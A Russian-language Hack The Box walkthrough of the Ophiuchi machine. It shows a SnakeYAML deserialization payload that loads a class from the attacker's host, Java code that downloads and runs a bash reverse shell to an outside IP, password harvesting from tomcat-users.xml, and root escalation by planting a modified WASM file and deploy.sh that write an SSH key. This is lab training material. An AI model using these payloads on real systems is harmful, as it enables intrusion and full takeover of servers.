HTB Ophiuchi. Учимся пентестить парсер и рекомпилировать WASM
В этой статье я покажу прохождение машины Ophiuchi с площадки Hack The Box. На ее примере мы сначала попентестим SnakeYAML, а затем будем модифицировать приложение на Go, которое компилируется в WebAssembly.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем адрес машины в файл hosts
, чтобы обращаться к ней по имени.
10.10.10.227 ophiuchi.htb
И начинаем традиционно со сканирования портов. В этот раз я буду использовать быстрый сканер RustScan. Сначала он найдет все открытые порты, а потом передаст знаменитому Nmap для сканирования со скриптами (просто укажем опцию -A).
rustscan 10.10.10.227 -- -A
Мы нашли две службы: SSH (порт 22) и веб‑сервер Apache Tomcat (порт 8080). На SSH сейчас можно только брутфорсить учетные данные, но это не комильфо, тем более при прохождении лабораторных машин. Поэтому нам остается искать точку входа на сайте.
ТОЧКА ВХОДА
При переходе на сайт нас встретила форма парсера разметки YAML.
Типичная проблема любых парсеров — неправильная обработка служебных символов, которая может привести к уязвимостям. Чтобы проверить, нет ли здесь чего‑то подобного, отправим в форму ввода все печатаемые символы по очереди. Я буду делать это через Burp. Первым делом перехватим запрос в Burp и отправим его в Intruder. На вкладке Payload Position укажем тип атаки Sniper, изменим значение параметра data
, применив пустую нагрузку.
Далее на вкладке Payload Options загрузим список печатаемых символов, к примеру этот, из набора словарей SecLists. И выполним перебор, нажав кнопку Start Attack. После завершения атаки сортируем результаты по столбцу Length так, чтобы сначала шли самые большие ответы.
Если отправлять обычные символы, то ответ всегда будет одинаковый.
Due to security reason this feature has been temporarily on hold. We will soon fix the issue!
Но в ответ на некоторые запросы мы получаем ошибки. Для нас это хорошо, так как сообщения могут раскрывать дополнительную информацию о целевом приложении, к примеру используемые технологии. И действительно: в тексте ошибки видим упоминание SnakeYAML, и, что более интересно, ошибка происходит в методе load
.
INFO
SnakeYAML — процессор разметки YAML для программ на Java.
То есть в данном случае пользовательский ввод передается в метод Yaml.load()
, который конвертирует документ YAML в объект Java, что потенциально может привести к уязвимости десериализации, а это, в свою очередь, открывает путь к удаленному выполнению кода (RCE).
Дальше я без труда нашел готовую нагрузку, которая эксплуатирует уязвимость в десериализации SnakeYAML (PDF). Смысл уязвимости в том, что мы можем спровоцировать загрузку класса со своего хоста.
Давай отправим тестовую нагрузку и посмотрим на результат. Чтобы поймать отклик, запустим простой локальный веб‑сервер Python 3.
python3 -m http.server 8000
А теперь отправляем следующую нагрузку. После отправки в логах веб‑сервера увидим попытку загрузить файлы.
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.10.14.88:8000/"] ]] ]
В окне браузера наблюдаем уже знакомое нам сообщение, а вот в логах веб‑сервера видим две записи, одна из которых — запрос HEAD
. То есть наше предположение оказалось верным, мы можем добиться загрузки кода с нашего сервера.
ТОЧКА ОПОРЫ
Уязвимость подтвердили, давай ее эксплуатировать. В нашем случае SnakeYAML пытался вызвать конструктор ScriptEngineManager
, но до этого пытается получить доступ к конечной точке /META-INF/services/javax.script.ScriptEngineFactory
(что отражено в логах веб‑сервера), и, поскольку она недоступна, наш сервер отвечает ошибкой 404. На GitHub уже есть готовая нагрузка для такого случая. Давай загрузим репозиторий и внесем изменения в основной код.
git clone https://github.com/artsploit/yaml-payload.git
Нас больше всего интересует функция Runtime.getRuntime().exec()
, параметр которой следует изменить. Поступим следующим образом: в первой функции будем загружать с локальной машины скрипт на bash с реверс‑шеллом, а во второй — назначать права и выполнять. Используем следующий бэкшелл:
bash -i >& /dev/tcp/10.10.14.88/4321 0>&1
Тогда строки 12 и 13 будут такими:
Runtime.getRuntime().exec("wget http://[ip]:8000/rs.sh -O /tmp/rs.sh"); Runtime.getRuntime().exec("chmod +x /tmp/rs.sh ; /tmp/rs.sh");
Файл с шелом расположим в директории уже запущенного веб‑сервера.
Осталось перейти в директорию репозитория, чтобы текущий путь соответствовал тому, что мы видим в запросе, а затем преобразовать файл Java в байт‑код и снова запустить веб‑сервер.
cd yaml-payload/src javac artsploit/AwesomeScriptEngineFactory.java sudo python3 -m http.server 80
Теперь отправим парсеру уже знакомую нам нагрузку, только изменим порт с 8000 на 80. В логах веб‑сервера в каталоге с программой наблюдаем успешную загрузку файлов, в логах «старого» веб‑сервера увидим загрузку шелла, а в листенере — бэкконнект.
ПРОДВИЖЕНИЕ
Мы работаем в контексте учетной записи службы веб‑сервера Tomcat. В таких случаях всегда следует искать учетные данные, которые могут подойти к пользовательским учеткам как на сервере, так и на сайте или даже при прямом коннекте к базе данных. В случае с Apache Tomcat учетки хранятся в файле /opt/tomcat/conf/tomcat-users.xml
. Для поиска критических данных достаточно искать строки по ключевым словам pass
, secret
, token
и подобным. Так и удается найти пароль.
С найденными учетными данными успешно подключаемся по SSH и забираем первый флаг.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Из всего, что стоит анализировать для нахождения вектора к повышению привилегий, можно сразу проверять настройки судоера и приложения с выставленным битом SUID. И при проверке судоера находим зацепку.
Есть много путей повышения привилегий, но в первую очередь рекомендую проверять настройки sudoers и искать приложения с выставленным битом SUID.
sudo -l
Все пользователи могут без ввода пароля выполнить следующую команду в привилегированном контексте.
/usr/bin/go run /opt/wasm-functions/index.go
Здесь просто выполняется файл /opt/wasm-functions/index.go
. Давай взглянем на него.
В самом начале файла бросается в глаза подключение wasmer-go, далее происходит чтение файла main.wasm
, после чего экспортируется значение info
. Если результат не равен единице, то мы просто получаем сообщение Not ready to deploy, иначе выполнится bash-скрипт deploy.sh
(еще и в привилегированном контексте). Ошибка заключается в указании неявных путей к файлам, что позволяет нам разместить такие же файлы в текущей директории и оперировать именно ими. Загрузим на локальный хост файл main.wasm
.
scp [email protected]:/opt/wasm-functions/main.wasm ./
WebAssembly — язык программирования низкого уровня для стековой виртуальной машины, в который компилируются программы на высокоуровневых языках, в том числе и Go. Для анализа файла будем использовать webassembly.github.io.
Сперва посмотрим на info
, для этого нам нужно преобразовать файл .wasm в текстовый вид. На сайте по ссылке выше переходим к сервису wasm2wat и загружаем наш файл.
В третьей строке находим экспорт info
и возвращаемое значение 0
(строка 4). Копируем весь представленный код и вставляем уже в сервисе wat2wasm, меняем возвращаемое значение с нуля на единицу. После чего скачиваем собранный файл.
Собранный файл загрузим в директорию /tmp
удаленного хоста.
scp ./test.wasm [email protected]:/tmp/main.wasm
Осталось создать файл deploy.sh
. В нем я записываю руту свой ключ SSH. Сперва генерируем пару ключей с помощью ssh-keygen
.
А затем укажем ключ в deploy.sh, дадим право на исполнение и выполним целевое приложение через sudo
.
cd /tmp echo 'echo ssh-rsa AAAAB3NzaC1y......p0iM9xKc= ralf@ralf-PC >> /root/.ssh/authorized_keys ; echo OK' > deploy.sh chmod +x deploy.sh sudo /usr/bin/go run /opt/wasm-functions/index.go
Видим, что ключ успешно записался, осталось подключиться с приватным ключом и забрать рут.
ssh -i id_rsa [email protected]
Таким путем мы захватываем данную машину и получаем над ней полный контроль.